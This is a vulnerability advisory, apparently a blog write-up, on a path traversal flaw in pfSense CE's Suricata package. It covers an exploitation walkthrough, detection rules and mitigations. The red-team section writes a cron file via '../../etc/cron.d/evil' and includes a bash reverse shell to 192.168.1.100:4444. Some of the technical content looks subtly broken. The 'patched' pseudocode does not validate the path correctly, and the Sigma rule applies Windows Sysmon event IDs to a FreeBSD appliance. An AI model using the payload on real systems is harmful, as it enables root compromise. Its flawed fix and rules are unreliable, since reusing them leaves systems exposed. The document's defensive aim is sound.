CVE-2025-12490

Executive Summary

CVE-2025-12490 is a critical path traversal vulnerability in the Suricata package of Netgate pfSense CE. An authenticated remote attacker can exploit this flaw to create arbitrary files on the target system with root privileges. The vulnerability stems from insufficient validation of user-supplied paths before file operations, allowing an attacker to write files outside intended directories. With a CVSS score of 8.8, this vulnerability poses a high risk to confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available, but the ZDI (Zero Day Initiative) has coordinated disclosure.

Supply Chain & Package Security

This vulnerability affects the Suricata package within the pfSense CE ecosystem. Since pfSense CE is a FreeBSD-based distribution, the Suricata package is typically installed via the pfSense package manager or FreeBSD ports. The lack of a patch means that users must rely on manual mitigations until an official update is released. Organizations using pfSense CE in production should treat this as a high-priority security issue.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – authentication required
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The ability to create arbitrary files as root can lead to full system compromise, including backdoor installation, configuration tampering, or denial of service.

Deep Dive & Mechanics

The vulnerability resides in the Suricata package's file handling logic. When processing user-supplied paths (e.g., for log files, rule updates, or configuration imports), the application fails to sanitize or validate directory traversal sequences such as ../. An attacker with valid credentials can craft a malicious path to write files outside the intended directory, potentially overwriting system files or creating new executables.

Root Cause: The lack of proper path validation before file operations (e.g., fopen, write, rename) in the Suricata package code. The application likely uses user input directly in file path construction without checking for traversal characters.

Attack Scenario:

1. Attacker authenticates to the pfSense web interface (e.g., admin credentials).
2. Attacker navigates to the Suricata configuration or rule management section.
3. Attacker submits a crafted path like ../../etc/cron.d/malicious in a file upload or path input field.
4. The Suricata package writes attacker-controlled content to that path, creating a cron job or other system file.
5. The file is executed with root privileges, leading to full compromise.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. A typical vulnerable snippet might look like:

// Vulnerable code (pseudocode)
char user_path[256];
snprintf(user_path, sizeof(user_path), "/var/log/suricata/%s", user_input);
FILE *fp = fopen(user_path, "w");

A patched version would validate the path:

// Patched code (pseudocode)
char user_path[256];
// Resolve and canonicalize the path
char *real_path = realpath(user_input, NULL);
if (real_path == NULL || strncmp(real_path, "/var/log/suricata/", 18) != 0) {
    // Reject path
    return -1;
}
snprintf(user_path, sizeof(user_path), "/var/log/suricata/%s", real_path);
FILE *fp = fopen(user_path, "w");
free(real_path);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for pfSense web interface (e.g., admin/admin).
• Network access to the pfSense management interface (default port 443).

Exploitation Steps:

1. Log in to pfSense web interface.
2. Navigate to Services > Suricata.
3. In the Rules or Logs section, find a file upload or path input field.
4. Craft a payload path: ../../etc/cron.d/evil
5. Upload a script or binary as the file content (e.g., a reverse shell script).
6. The file is written to /etc/cron.d/evil with root ownership.
7. Wait for cron to execute the script, or trigger execution manually.

Example Payload (reverse shell script):

#!/bin/sh
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Note: No public exploit code is available. This is a theoretical exploitation path.

Blue Team

Detection & Prevention:

• Monitor file system changes in sensitive directories (/etc/cron.d, /usr/local/etc, /root).
• Enable auditd or FreeBSD audit to log file creation events.
• Restrict access to the Suricata package configuration to trusted users only.
• Implement web application firewall (WAF) rules to block path traversal patterns.
• Regularly review Suricata logs for unusual file operations.

Honeypot: Create a fake writable directory with monitoring to detect traversal attempts.

Indicators of Compromise (IOCs)

• File Paths: /etc/cron.d/*, /usr/local/etc/rc.d/*, /root/.ssh/authorized_keys (unexpected files)
• Network Connections: Outbound connections from pfSense to attacker-controlled IPs (e.g., reverse shell)
• Process Anomalies: Unexpected cron jobs or scripts running as root
• Log Entries: Suricata logs showing path traversal patterns (e.g., ../ in file paths)
• File Hashes: Hashes of malicious files created via the vulnerability (unknown until public exploit)

Detection Engineering

YARA Rule

rule CVE_2025_12490_Suricata_PathTraversal {
    meta:
        description = "Detects path traversal attempts in Suricata package logs or config files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12490"
    strings:
        $traversal1 = "../" ascii wide nocase
        $traversal2 = "..\\" ascii wide nocase
        $traversal3 = "%2e%2e%2f" ascii wide nocase
        $suricata_path = "/var/log/suricata" ascii wide nocase
        $suricata_config = "suricata" ascii wide nocase
    condition:
        any of ($traversal*) and any of ($suricata*)
}

Sigma Rule

title: CVE-2025-12490 Suricata Path Traversal Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal patterns in Suricata package file operations
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-12490
logsource:
    product: pfsense
    service: suricata
detection:
    selection:
        - EventID: 1  # File creation
          Image: '*suricata*'
          TargetFilename: '*..*'
        - EventID: 11  # File creation (Sysmon)
          Image: '*suricata*'
          TargetFilename: '*..*'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in Suricata configuration
level: high
tags:
    - attack.t1190
    - cve.2025.12490

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12490 Suricata Path Traversal Attempt"; flow:to_server,established; content:"../"; nocase; content:"suricata"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Suricata package if not essential: Navigate to Services > Suricata and disable the service.
2. Restrict access to the pfSense web interface to trusted IPs only (firewall rules).
3. Change default credentials and enforce strong passwords.
4. Monitor logs for path traversal attempts.

Long-term Fix:

• Apply official patch from Netgate when released.
• Upgrade to a patched version of pfSense CE.
• Consider using a different IDS/IPS solution if Suricata is critical.

Workaround:

• Implement a custom script to validate file paths in Suricata configuration files before processing.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert